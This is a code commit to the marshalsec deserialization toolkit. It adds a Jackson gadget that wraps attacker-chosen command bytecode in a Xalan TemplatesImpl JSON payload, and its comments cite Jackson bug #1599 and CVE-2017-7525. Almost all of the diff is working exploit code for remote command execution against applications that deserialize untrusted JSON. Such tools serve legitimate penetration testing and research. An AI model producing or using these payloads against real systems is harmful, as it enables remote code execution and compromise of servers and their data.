Add jackson xalan Templates payload

src/main/java/marshalsec/Jackson.java

@@ -23,6 +23,7 @@ of this software and associated documentation files (the "Software"), to deal
 package marshalsec;
 
 
+import java.util.Base64;
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.LinkedHashMap;
@@ -43,15 +44,18 @@ of this software and associated documentation files (the "Software"), to deal
 import marshalsec.gadgets.JdbcRowSet;
 import marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor;
 import marshalsec.gadgets.SpringPropertyPathFactory;
+import marshalsec.gadgets.Templates;
+import marshalsec.gadgets.TemplatesUtil;
 import marshalsec.gadgets.UnicastRemoteObjectGadget;
+import marshalsec.util.Reflections;
 
 
 /**
  * @author mbechler
  *
  */
 public class Jackson extends MarshallerBase<String> implements JdbcRowSet, SpringPropertyPathFactory, SpringAbstractBeanFactoryPointcutAdvisor,
-        C3P0RefDataSource, C3P0WrapperConnPool, UnicastRemoteObjectGadget {
+        C3P0RefDataSource, C3P0WrapperConnPool, UnicastRemoteObjectGadget, Templates {
 
     /**
      * {@inheritDoc}
@@ -166,6 +170,29 @@ public Object makeUnicastRemoteObject ( UtilFactory uf, String... args ) throws
     }
 
 
+    @Override
+    @Args ( minArgs = 1, args = {
+        "cmd", "args..."
+    }, defaultArgs = {
+        MarshallerBase.defaultExecutable
+    }, noTest = true ) // this should only work with < JDK 8u45 OR if upstream xalan is present (set upstreamXalan=true)
+    // this is likely the original gadget reported for Jackson bug #1599
+    // also described by https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
+    public Object makeTemplates ( UtilFactory uf, String... args ) throws Exception {
+        Object tpl = TemplatesUtil.createTemplatesImpl(args);
+        byte[][] bytecodes = (byte[][]) Reflections.getFieldValue(tpl, "_bytecodes");
+        Map<String, String> values = new LinkedHashMap<>();
+        String base64 = Base64.getEncoder().encodeToString(bytecodes[ 0 ]);
+        values.put("transletBytecodes", writeArray(quoteString(base64)));
+        values.put("transletName", quoteString("foo"));
+        values.put("outputProperties", "{}");
+        if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
+            return writeObject("org.apache.xalan.xsltc.trax.TemplatesImpl", values);
+        }
+        return writeObject("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", values);
+    }
+
+
     /**
      * @param quoteString
      * @return

src/main/java/marshalsec/gadgets/GadgetType.java

@@ -47,7 +47,11 @@ public enum GadgetType {
     C3P0WrapperConnPool(C3P0WrapperConnPool.class),
     C3P0RefDataSource(C3P0RefDataSource.class),
     JdbcRowSet(JdbcRowSet.class),
-    ScriptEngine(ScriptEngine.class);
+    ScriptEngine(ScriptEngine.class),
+    Templates(Templates.class),
+
+    //
+    ;
 
     private Class<? extends Gadget> clazz;
 

src/main/java/marshalsec/gadgets/Templates.java

@@ -0,0 +1,37 @@
+/* MIT License
+
+Copyright (c) 2017 Moritz Bechler
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+*/
+package marshalsec.gadgets;
+
+
+import marshalsec.UtilFactory;
+
+
+/**
+ * @author mbechler
+ *
+ */
+public interface Templates extends Gadget {
+
+    @Primary
+    Object makeTemplates ( UtilFactory uf, String... args ) throws Exception;
+}